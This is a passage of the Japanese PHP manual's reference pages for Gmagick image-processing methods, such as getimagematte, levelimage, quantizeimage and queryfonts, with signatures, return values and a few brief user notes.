画像の反復を表す整数値を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像がマットチャネルを持っているかどうかを調べる

  • ≪ Gmagick::getimageiterations
  • Gmagick::getimagemattecolor ≫
  • PHP Manual
  • Gmagick
  • 画像がマットチャネルを持っているかどうかを調べる

Gmagick::getimagematte

(PECL gmagick >= Unknown)

Gmagick::getimagematte — 画像がマットチャネルを持っているかどうかを調べる

説明

public Gmagick::getimagematte ( ) : int

画像がマットチャネルを持っている場合に true、 そうでない場合に false を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像がマットチャネルを持っている場合に true、 そうでない場合に false を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のマット色を返す

  • ≪ Gmagick::getimagematte
  • Gmagick::getimageprofile ≫
  • PHP Manual
  • Gmagick
  • 画像のマット色を返す

Gmagick::getimagemattecolor

(PECL gmagick >= Unknown)

Gmagick::getimagemattecolor — 画像のマット色を返す

説明

public Gmagick::getimagemattecolor ( ) : GmagickPixel

成功した場合に GmagickPixel オブジェクトを返します。エラー時に GmagickException をスローします。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に GmagickPixel オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した名前の画像プロファイルを返す

  • ≪ Gmagick::getimagemattecolor
  • Gmagick::getimageredprimary ≫
  • PHP Manual
  • Gmagick
  • 指定した名前の画像プロファイルを返す

Gmagick::getimageprofile

(PECL gmagick >= Unknown)

Gmagick::getimageprofile — 指定した名前の画像プロファイルを返す

説明

public Gmagick::getimageprofile ( string $name ) : string

指定した名前の画像プロファイルを返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像プロファイルを含む文字列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


赤が一番強い点を返す

  • ≪ Gmagick::getimageprofile
  • Gmagick::getimagerenderingintent ≫
  • PHP Manual
  • Gmagick
  • 赤が一番強い点を返す

Gmagick::getimageredprimary

(PECL gmagick >= Unknown)

Gmagick::getimageredprimary — 赤が一番強い点を返す

説明

public Gmagick::getimageredprimary ( ) : array

赤が一番強い点を返します。"x" および "y" というキーを持つ配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

赤が一番強い点を "x" および "y" というキーを持つ配列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のレンダリング方向を取得する

  • ≪ Gmagick::getimageredprimary
  • Gmagick::getimageresolution ≫
  • PHP Manual
  • Gmagick
  • 画像のレンダリング方向を取得する

Gmagick::getimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::getimagerenderingintent — 画像のレンダリング方向を取得する

説明

public Gmagick::getimagerenderingintent ( ) : int

画像のレンダリング方向を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像のレンダリング方向を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の X 方向と Y 方向の解像度を取得する

  • ≪ Gmagick::getimagerenderingintent
  • Gmagick::getimagescene ≫
  • PHP Manual
  • Gmagick
  • 画像の X 方向と Y 方向の解像度を取得する

Gmagick::getimageresolution

(PECL gmagick >= Unknown)

Gmagick::getimageresolution — 画像の X 方向と Y 方向の解像度を取得する

説明

public Gmagick::getimageresolution ( ) : array

解像度を配列で取得します。

パラメータ

この関数にはパラメータはありません。

返り値

解像度を配列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

Clive Walkden 20-Jun-2013 09:17
The array returned is in the format

Array
(
    [x] => 300
    [y] => 300
)


画像のシーンを取得する

  • ≪ Gmagick::getimageresolution
  • Gmagick::getimagesignature ≫
  • PHP Manual
  • Gmagick
  • 画像のシーンを取得する

Gmagick::getimagescene

(PECL gmagick >= Unknown)

Gmagick::getimagescene — 画像のシーンを取得する

説明

public Gmagick::getimagescene ( ) : int

画像のシーンを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像のシーンを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


SHA-256 メッセージダイジェストを生成する

  • ≪ Gmagick::getimagescene
  • Gmagick::getimagetype ≫
  • PHP Manual
  • Gmagick
  • SHA-256 メッセージダイジェストを生成する

Gmagick::getimagesignature

(PECL gmagick >= Unknown)

Gmagick::getimagesignature — SHA-256 メッセージダイジェストを生成する

説明

public Gmagick::getimagesignature ( ) : string

画像ピクセルストリームの SHA-256 メッセージダイジェストを生成します。

パラメータ

この関数にはパラメータはありません。

返り値

そのファイルの SHA-256 ハッシュを文字列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の型を取得する

  • ≪ Gmagick::getimagesignature
  • Gmagick::getimageunits ≫
  • PHP Manual
  • Gmagick
  • 画像の型を取得する

Gmagick::getimagetype

(PECL gmagick >= Unknown)

Gmagick::getimagetype — 画像の型を取得する

説明

public Gmagick::getimagetype ( ) : int

画像の型を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の型を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の解像度の単位を取得する

  • ≪ Gmagick::getimagetype
  • Gmagick::getimagewhitepoint ≫
  • PHP Manual
  • Gmagick
  • 画像の解像度の単位を取得する

Gmagick::getimageunits

(PECL gmagick >= Unknown)

Gmagick::getimageunits — 画像の解像度の単位を取得する

説明

public Gmagick::getimageunits ( ) : int

画像の解像度の単位を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の解像度の単位を返します。

User Contributed Notes

There are no user contributed notes for this page.


色度が白い点を返す

  • ≪ Gmagick::getimageunits
  • Gmagick::getimagewidth ≫
  • PHP Manual
  • Gmagick
  • 色度が白い点を返す

Gmagick::getimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::getimagewhitepoint — 色度が白い点を返す

説明

public Gmagick::getimagewhitepoint ( ) : array

色度が白い点を返します。 "x" および "y" というキーを持つ連想配列となります。

パラメータ

この関数にはパラメータはありません。

返り値

色度が白い点を返します。 "x" および "y" というキーを持つ連想配列となります。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の幅を返す

  • ≪ Gmagick::getimagewhitepoint
  • Gmagick::getpackagename ≫
  • PHP Manual
  • Gmagick
  • 画像の幅を返す

Gmagick::getimagewidth

(PECL gmagick >= Unknown)

Gmagick::getimagewidth — 画像の幅を返す

説明

public Gmagick::getimagewidth ( ) : int

画像の幅を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の幅を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


GraphicsMagick パッケージ名を返す

  • ≪ Gmagick::getimagewidth
  • Gmagick::getquantumdepth ≫
  • PHP Manual
  • Gmagick
  • GraphicsMagick パッケージ名を返す

Gmagick::getpackagename

(PECL gmagick >= Unknown)

Gmagick::getpackagename — GraphicsMagick パッケージ名を返す

説明

public Gmagick::getpackagename ( ) : string

GraphicsMagick パッケージ名を返します。

パラメータ

この関数にはパラメータはありません。

返り値

GraphicsMagick パッケージ名を文字列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Gmagick quantum depth を返す

  • ≪ Gmagick::getpackagename
  • Gmagick::getreleasedate ≫
  • PHP Manual
  • Gmagick
  • Gmagick quantum depth を返す

Gmagick::getquantumdepth

(PECL gmagick >= Unknown)

Gmagick::getquantumdepth — Gmagick quantum depth を返す

説明

public Gmagick::getquantumdepth ( ) : array

Gmagick quantum depth を文字列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

Gmagick quantum depth を文字列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


GraphicsMagick のリリース日を返す

  • ≪ Gmagick::getquantumdepth
  • Gmagick::getsamplingfactors ≫
  • PHP Manual
  • Gmagick
  • GraphicsMagick のリリース日を返す

Gmagick::getreleasedate

(PECL gmagick >= Unknown)

Gmagick::getreleasedate — GraphicsMagick のリリース日を返す

説明

public Gmagick::getreleasedate ( ) : string

GraphicsMagick のリリース日を文字列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

GraphicsMagick のリリース日を文字列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


水平方向および垂直方向のサンプリング係数を取得する

  • ≪ Gmagick::getreleasedate
  • Gmagick::getsize ≫
  • PHP Manual
  • Gmagick
  • 水平方向および垂直方向のサンプリング係数を取得する

Gmagick::getsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::getsamplingfactors — 水平方向および垂直方向のサンプリング係数を取得する

説明

public Gmagick::getsamplingfactors ( ) : array

水平方向および垂直方向のサンプリング係数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の水平方向および垂直方向のサンプリング係数を含む連想配列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Gmagick オブジェクトのサイズを取得する

  • ≪ Gmagick::getsamplingfactors
  • Gmagick::getversion ≫
  • PHP Manual
  • Gmagick
  • Gmagick オブジェクトのサイズを取得する

Gmagick::getsize

(PECL gmagick >= Unknown)

Gmagick::getsize — Gmagick オブジェクトのサイズを取得する

説明

public Gmagick::getsize ( ) : array

Gmagick オブジェクトのサイズを返します。 "columns" および "rows" というキーを持つ連想配列となります。

パラメータ

この関数にはパラメータはありません。

返り値

Gmagick オブジェクトのサイズを返します。 "columns" および "rows" というキーを持つ連想配列となります。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


GraphicsMagick API のバージョンを返す

  • ≪ Gmagick::getsize
  • Gmagick::hasnextimage ≫
  • PHP Manual
  • Gmagick
  • GraphicsMagick API のバージョンを返す

Gmagick::getversion

(PECL gmagick >= Unknown)

Gmagick::getversion — GraphicsMagick API のバージョンを返す

説明

public Gmagick::getversion ( ) : array

GraphicsMagick API のバージョンを文字列と数値で返します。

パラメータ

この関数にはパラメータはありません。

返り値

GraphicsMagick API のバージョンを文字列と数値で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトが次の画像を保持しているかどうかを調べる

  • ≪ Gmagick::getversion
  • Gmagick::haspreviousimage ≫
  • PHP Manual
  • Gmagick
  • オブジェクトが次の画像を保持しているかどうかを調べる

Gmagick::hasnextimage

(PECL gmagick >= Unknown)

Gmagick::hasnextimage — オブジェクトが次の画像を保持しているかどうかを調べる

説明

public Gmagick::hasnextimage ( ) : mixed

リスト内でひとつ先に進んだときにまだオブジェクトが画像を保持していれば true を返します。

パラメータ

この関数にはパラメータはありません。

返り値

リスト内でひとつ先に進んだときにまだオブジェクトが画像を保持していれば true、していなければ false を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトが前の画像を保持しているかどうかを調べる

  • ≪ Gmagick::hasnextimage
  • Gmagick::implodeimage ≫
  • PHP Manual
  • Gmagick
  • オブジェクトが前の画像を保持しているかどうかを調べる

Gmagick::haspreviousimage

(PECL gmagick >= Unknown)

Gmagick::haspreviousimage — オブジェクトが前の画像を保持しているかどうかを調べる

説明

public Gmagick::haspreviousimage ( ) : mixed

リスト内で逆方向にひとつ進んだときにまだオブジェクトが画像を保持していれば true を返します。

パラメータ

この関数にはパラメータはありません。

返り値

リスト内で逆方向にひとつ進んだときにまだオブジェクトが画像を保持していれば true、していなければ false を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


新しい画像をコピーとして作成する

  • ≪ Gmagick::haspreviousimage
  • Gmagick::labelimage ≫
  • PHP Manual
  • Gmagick
  • 新しい画像をコピーとして作成する

Gmagick::implodeimage

(PECL gmagick >= Unknown)

Gmagick::implodeimage — 新しい画像をコピーとして作成する

説明

public Gmagick::implodeimage ( float $radius ) : mixed

既存の画像をコピーして新しい画像を作成します。 既存の画像のピクセルを、指定したパーセンテージで "内破" します。

パラメータ

radius

内破処理の半径。

返り値

内破した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ラベルを画像に追加する

  • ≪ Gmagick::implodeimage
  • Gmagick::levelimage ≫
  • PHP Manual
  • Gmagick
  • ラベルを画像に追加する

Gmagick::labelimage

(PECL gmagick >= Unknown)

Gmagick::labelimage — ラベルを画像に追加する

説明

public Gmagick::labelimage ( string $label ) : mixed

ラベルを画像に追加します。

パラメータ

label

追加するラベル。

返り値

ラベルを追加した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のレベルを調節する

  • ≪ Gmagick::labelimage
  • Gmagick::magnifyimage ≫
  • PHP Manual
  • Gmagick
  • 画像のレベルを調節する

Gmagick::levelimage

(PECL gmagick >= Unknown)

Gmagick::levelimage — 画像のレベルを調節する

説明

public Gmagick::levelimage ( float $blackPoint , float $gamma , float $whitePoint , int $channel = Gmagick::CHANNEL_DEFAULT ) : mixed

画像のレベルを調整します。 指定した白と黒の範囲にある色を、利用可能な色の範囲全体に拡大します。 黒の点、中間点、白の点をパラメータで指定します。 黒の点は、画像の中で一番暗い色を表します。 これより暗い色の点はゼロに設定されます。 中間点は、画像に適用するガンマ補正を指定します。 黒の点は、画像の中で一番明るい色を表します。 これより明るい色の点は最大値に設定されます。

パラメータ

blackPoint

画像の黒の点。

gamma

ガンマ値。

whitePoint

画像の白の点。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

画像のレベルを調節した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像を二倍に比例拡大する

  • ≪ Gmagick::levelimage
  • Gmagick::mapimage ≫
  • PHP Manual
  • Gmagick
  • 画像を二倍に比例拡大する

Gmagick::magnifyimage

(PECL gmagick >= Unknown)

Gmagick::magnifyimage — 画像を二倍に比例拡大する

説明

public Gmagick::magnifyimage ( ) : mixed

画像を元のサイズの二倍に比例拡大します。

パラメータ

この関数にはパラメータはありません。

返り値

拡大した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の色を、参照画像の中の最も近い色に置き換える

  • ≪ Gmagick::magnifyimage
  • Gmagick::medianfilterimage ≫
  • PHP Manual
  • Gmagick
  • 画像の色を、参照画像の中の最も近い色に置き換える

Gmagick::mapimage

(PECL gmagick >= Unknown)

Gmagick::mapimage — 画像の色を、参照画像の中の最も近い色に置き換える

説明

public Gmagick::mapimage ( gmagick $gmagick , bool $dither ) : Gmagick

画像の色を、参照画像の中の最も近い色に置き換えます。

パラメータ

gmagick

参照する画像。

dither

ゼロ以外の整数値を設定して、マップした画像をディザリングします。

返り値

Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


デジタルフィルタを適用する

  • ≪ Gmagick::mapimage
  • Gmagick::minifyimage ≫
  • PHP Manual
  • Gmagick
  • デジタルフィルタを適用する

Gmagick::medianfilterimage

(PECL gmagick >= Unknown)

Gmagick::medianfilterimage — デジタルフィルタを適用する

説明

public Gmagick::medianfilterimage ( float $radius ) : void

デジタルフィルタを適用してノイジーな画像の品質を向上させます。 各ピクセルの内容を、radius で定義した近傍ピクセルの中央値で置き換えます。

パラメータ

radius

近傍ピクセルの半径。

返り値

メジアンフィルタを適用した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

jeff at arizonacoders dot com 12-Mar-2015 09:40
For people like me who like a quick reference, the filters are:

FILTER_UNDEFINED => UndefinedFilter
FILTER_POINT => PointFilter
FILTER_BOX => BoxFilter
FILTER_TRIANGLE => TriangleFilter
FILTER_HERMITE => HermiteFilter
FILTER_HANNING => HanningFilter
FILTER_HAMMING => HammingFilter
FILTER_BLACKMAN => BlackmanFilter
FILTER_GAUSSIAN => GaussianFilter
FILTER_QUADRATIC => QuadraticFilter
FILTER_CUBIC => CubicFilter
FILTER_CATROM => CatromFilter
FILTER_MITCHELL => MitchellFilter
FILTER_LANCZOS => LanczosFilter
FILTER_BESSEL => BesselFilter
FILTER_SINC => SincFilter

Ref: https://github.com/vitoc/gmagick/blob/master/gmagick_helpers.c


画像をその半分のサイズに比例縮小する

  • ≪ Gmagick::medianfilterimage
  • Gmagick::modulateimage ≫
  • PHP Manual
  • Gmagick
  • 画像をその半分のサイズに比例縮小する

Gmagick::minifyimage

(PECL gmagick >= Unknown)

Gmagick::minifyimage — 画像をその半分のサイズに比例縮小する

説明

public Gmagick::minifyimage ( ) : Gmagick

画像のサイズを元の半分に比例縮小します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


明度、彩度、色相を制御する

  • ≪ Gmagick::minifyimage
  • Gmagick::motionblurimage ≫
  • PHP Manual
  • Gmagick
  • 明度、彩度、色相を制御する

Gmagick::modulateimage

(PECL gmagick >= Unknown)

Gmagick::modulateimage — 明度、彩度、色相を制御する

説明

public Gmagick::modulateimage ( float $brightness , float $saturation , float $hue ) : Gmagick

画像の明度、彩度、色相を制御します。 色相は、現在位置からの絶対回転角のパーセンテージで表します。 たとえば 50 の場合は反時計回りに 90 度の回転を表します。 また 150 の場合は時計回りの 90 度の回転、0 および 200 はともに 180 度の回転を表します。

パラメータ

brightness

画像の明度 (-100 から +100)。

saturation

画像の彩度 (-100 から +100)。

hue

画像の色相 (-100 から +100)。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


モーションブラーをシミュレートする

  • ≪ Gmagick::modulateimage
  • Gmagick::newimage ≫
  • PHP Manual
  • Gmagick
  • モーションブラーをシミュレートする

Gmagick::motionblurimage

(PECL gmagick >= Unknown)

Gmagick::motionblurimage — モーションブラーをシミュレートする

説明

public Gmagick::motionblurimage ( float $radius , float $sigma , float $angle ) : Gmagick

モーションブラーをシミュレートします。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、MotionBlurImage() が適切な半径を自動的に設定します。 angle にはぼかしをかける角度を指定します。

パラメータ

radius

ガウス演算の半径。ピクセル単位で指定し、中心は計算に入れません。

sigma

ガウス演算の標準偏差。ピクセル単位で指定します。

angle

この角度で効果を適用します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


新しい画像を作成する

  • ≪ Gmagick::motionblurimage
  • Gmagick::nextimage ≫
  • PHP Manual
  • Gmagick
  • 新しい画像を作成する

Gmagick::newimage

(PECL gmagick >= Unknown)

Gmagick::newimage — 新しい画像を作成する

説明

public Gmagick::newimage ( int $width , int $height , string $background , string $format = ? ) : Gmagick

新しい画像を作成し、背景色を設定します。

パラメータ

width

新しい画像の幅。

height

新しい画像の高さ。

background

この画像で使う背景色 (浮動小数点数)。

format

画像フォーマット。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

evitceted 07-Oct-2019 11:05
To create a png with the transparent background:
newimage(width, height, "transparent", "png")


次の画像に移動する

  • ≪ Gmagick::newimage
  • Gmagick::normalizeimage ≫
  • PHP Manual
  • Gmagick
  • 次の画像に移動する

Gmagick::nextimage

(PECL gmagick >= Unknown)

Gmagick::nextimage — 次の画像に移動する

説明

public Gmagick::nextimage ( ) : bool

画像リスト内の次の画像を Gmagick オブジェクトに関連付けます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


カラー画像のコントラストを強調する

  • ≪ Gmagick::nextimage
  • Gmagick::oilpaintimage ≫
  • PHP Manual
  • Gmagick
  • カラー画像のコントラストを強調する

Gmagick::normalizeimage

(PECL gmagick >= Unknown)

Gmagick::normalizeimage — カラー画像のコントラストを強調する

説明

public Gmagick::normalizeimage ( int $channel = ? ) : Gmagick

カラー画像のコントラストを強調します。 ピクセルの色を、とりうる値の範囲全体に拡張します。

パラメータ

channel

どのチャネルを正規化するか。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


油絵をシミュレートする

  • ≪ Gmagick::normalizeimage
  • Gmagick::previousimage ≫
  • PHP Manual
  • Gmagick
  • 油絵をシミュレートする

Gmagick::oilpaintimage

(PECL gmagick >= Unknown)

Gmagick::oilpaintimage — 油絵をシミュレートする

説明

public Gmagick::oilpaintimage ( float $radius ) : Gmagick

油絵風の効果を施すフィルタを適用します。 各ピクセルが、指定した半径内の周囲の中で最もよくあらわれる色に置き換えられます。

パラメータ

radius

近傍円の半径。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクト内の前の画像に移動する

  • ≪ Gmagick::oilpaintimage
  • Gmagick::profileimage ≫
  • PHP Manual
  • Gmagick
  • オブジェクト内の前の画像に移動する

Gmagick::previousimage

(PECL gmagick >= Unknown)

Gmagick::previousimage — オブジェクト内の前の画像に移動する

説明

public Gmagick::previousimage ( ) : bool

画像リスト内の前の画像を Gmagick オブジェクトに関連付けます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のプロファイルを追加あるいは削除する

  • ≪ Gmagick::previousimage
  • Gmagick::quantizeimage ≫
  • PHP Manual
  • Gmagick
  • 画像のプロファイルを追加あるいは削除する

Gmagick::profileimage

(PECL gmagick >= Unknown)

Gmagick::profileimage — 画像のプロファイルを追加あるいは削除する

説明

public Gmagick::profileimage ( string $name , string $profile ) : Gmagick

ICC、IPTC あるいは汎用のプロファイルを画像に追加あるいは削除します。 profile が NULL の場合は画像からプロファイルを削除し、 それ以外の場合は追加します。 name に '*'、profile に NULL を指定すると、画像からすべてのプロパティを削除します。

パラメータ

name

追加あるいは削除するプロファイルの名前。ICC、IPTC、あるいは generic。

profile

プロファイル。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


参照画像内の色を解析する

  • ≪ Gmagick::profileimage
  • Gmagick::quantizeimages ≫
  • PHP Manual
  • Gmagick
  • 参照画像内の色を解析する

Gmagick::quantizeimage

(PECL gmagick >= Unknown)

Gmagick::quantizeimage — 参照画像内の色を解析する

説明

public Gmagick::quantizeimage ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError ) : Gmagick

参照画像内の色を解析し、その画像を表すための色を固定の色数で選びます。 そのアルゴリズムの目標は、入力画像と出力画像の色の差を最小限に抑えながらも 処理時間を短くすることです。

パラメータ

numColors

色数。

colorspace

この色空間の中で色数を減らす。通常は RGBColorspace。

treeDepth

通常は、この整数値は 0 か 1 になります。 0 あるいは 1 を指定すると、Quantize に最適なツリーの深さとして Log4(number_colors) を選ばせます。 この深さのツリーは一般に、最小のメモリー消費で最大の計算速度を得られる最良の参照画像表現法になります。 色数が少ないなど、場合によっては Log4(number_colors) 以外の値が必要になることもあります。 色ツリーを完全に広げるには、この値を 8 にします。

dither

ゼロ以外の値を元の画像との間の違いに分配し、 対応する減色アルゴリズムを近傍ピクセルとのヒルベルト曲線に沿ったものにします。

measureError

ゼロ以外の値で、元画像と量子化した画像の違いを計測します。 この違いが、全体の量子化エラーになります。 エラーを判定するために、画像内の全ピクセルを計算し、 RGB 空間において参照画像と量子化語のピクセルの差を合計します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像シーケンス内の色を解析する

  • ≪ Gmagick::quantizeimage
  • Gmagick::queryfontmetrics ≫
  • PHP Manual
  • Gmagick
  • 画像シーケンス内の色を解析する

Gmagick::quantizeimages

(PECL gmagick >= Unknown)

Gmagick::quantizeimages — 画像シーケンス内の色を解析する

説明

public Gmagick::quantizeimages ( int $numColors , int $colorspace , int $treeDepth , bool $dither , bool $measureError ) : Gmagick

画像シーケンス内の色を解析し、その画像を表すための色を固定の色数で選びます。 そのアルゴリズムの目標は、入力画像と出力画像の色の差を最小限に抑えながらも 処理時間を短くすることです。

パラメータ

numColors

色数。

colorspace

この色空間の中で色数を減らす。通常は RGBColorspace。

treeDepth

通常は、この整数値は 0 か 1 になります。 0 あるいは 1 を指定すると、Quantize に最適なツリーの深さとして Log4(number_colors) を選ばせます。 この深さのツリーは一般に、最小のメモリー消費で最大の計算速度を得られる最良の参照画像表現法になります。 色数が少ないなど、場合によっては Log4(number_colors) 以外の値が必要になることもあります。 色ツリーを完全に広げるには、この値を 8 にします。

dither

ゼロ以外の値を元の画像との間の違いに分配し、 対応する減色アルゴリズムを近傍ピクセルとのヒルベルト曲線に沿ったものにします。

measureError

ゼロ以外の値で、元画像と量子化した画像の違いを計測します。 この違いが、全体の量子化エラーになります。 エラーを判定するために、画像内の全ピクセルを計算し、 RGB 空間において参照画像と量子化語のピクセルの差を合計します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


フォントメトリクスを表す配列を返す

  • ≪ Gmagick::quantizeimages
  • Gmagick::queryfonts ≫
  • PHP Manual
  • Gmagick
  • フォントメトリクスを表す配列を返す

Gmagick::queryfontmetrics

(PECL gmagick >= Unknown)

Gmagick::queryfontmetrics — フォントメトリクスを表す配列を返す

説明

public Gmagick::queryfontmetrics ( GmagickDraw $draw , string $text ) : array

MagickQueryFontMetrics() は、フォントメトリクスを表す多次元配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


設定したフォントを返す

  • ≪ Gmagick::queryfontmetrics
  • Gmagick::queryformats ≫
  • PHP Manual
  • Gmagick
  • 設定したフォントを返す

Gmagick::queryfonts

(PECL gmagick >= Unknown)

Gmagick::queryfonts — 設定したフォントを返す

説明

public Gmagick::queryfonts ( string $pattern = "*" ) : array

設定したフォントを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

Mathew Oransky 02-Nov-2009 06:39
An example of how to get the fonts available.
<?php
$image = new Gmagick();
$fonts = $image->queryfonts();
foreach($fonts as $font){
  echo $font."\n";
}
?>


Gmagick がサポートするフォーマットを返す

  • ≪ Gmagick::queryfonts
  • Gmagick::radialblurimage ≫
  • PHP Manual
  • Gmagick
  • Gmagick がサポートするフォーマットを返す

Gmagick::queryformats

(PECL gmagick >= Unknown)

Gmagick::queryformats — Gmagick がサポートするフォーマットを返す

説明

public Gmagick::queryformats ( string $pattern = "*" ) : array

Gmagick がサポートするフォーマットを返します。

パラメータ

pattern

パターンを含む文字列へのポインタを指定します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像にラジアルブラーを施す

  • ≪ Gmagick::queryformats
  • Gmagick::raiseimage ≫
  • PHP Manual
  • Gmagick
  • 画像にラジアルブラーを施す

Gmagick::radialblurimage

(PECL gmagick >= Unknown)

Gmagick::radialblurimage — 画像にラジアルブラーを施す

説明

public Gmagick::radialblurimage ( float $angle , int $channel = Gmagick::CHANNEL_DEFAULT ) : Gmagick

画像にラジアルブラーを施します。

パラメータ

angle

ラジアルブラーの角度。

channel

関連するチャネル。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


三次元のボタン風の効果をシミュレートする

  • ≪ Gmagick::radialblurimage
  • Gmagick::read ≫
  • PHP Manual
  • Gmagick
  • 三次元のボタン風の効果をシミュレートする

Gmagick::raiseimage

(PECL gmagick >= Unknown)

Gmagick::raiseimage — 三次元のボタン風の効果をシミュレートする

説明

public Gmagick::raiseimage ( int $width , int $height , int $x , int $y , bool $raise ) : Gmagick

画像の輪郭を明るくしたり暗くしたりすることによって、 三次元のボタン風の効果をシミュレートします。 raise_info のメンバ width および height が、 垂直方向および水平方向の効果の輪郭を定義します。

パラメータ

width

明るくする範囲の幅。

height

明るくする範囲の高さ。

x

X 座標。

y

Y 座標。

raise

ゼロ以外の値を指定すると三次元の引き上げ効果、ゼロの場合は引き下げ効果。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ファイルから画像を読み込む

  • ≪ Gmagick::raiseimage
  • Gmagick::readimage ≫
  • PHP Manual
  • Gmagick
  • ファイルから画像を読み込む

Gmagick::read

(PECL gmagick >= Unknown)

Gmagick::read — ファイルから画像を読み込む

説明

public Gmagick::read ( string $filename ) : Gmagick

ファイルから画像を読み込みます。

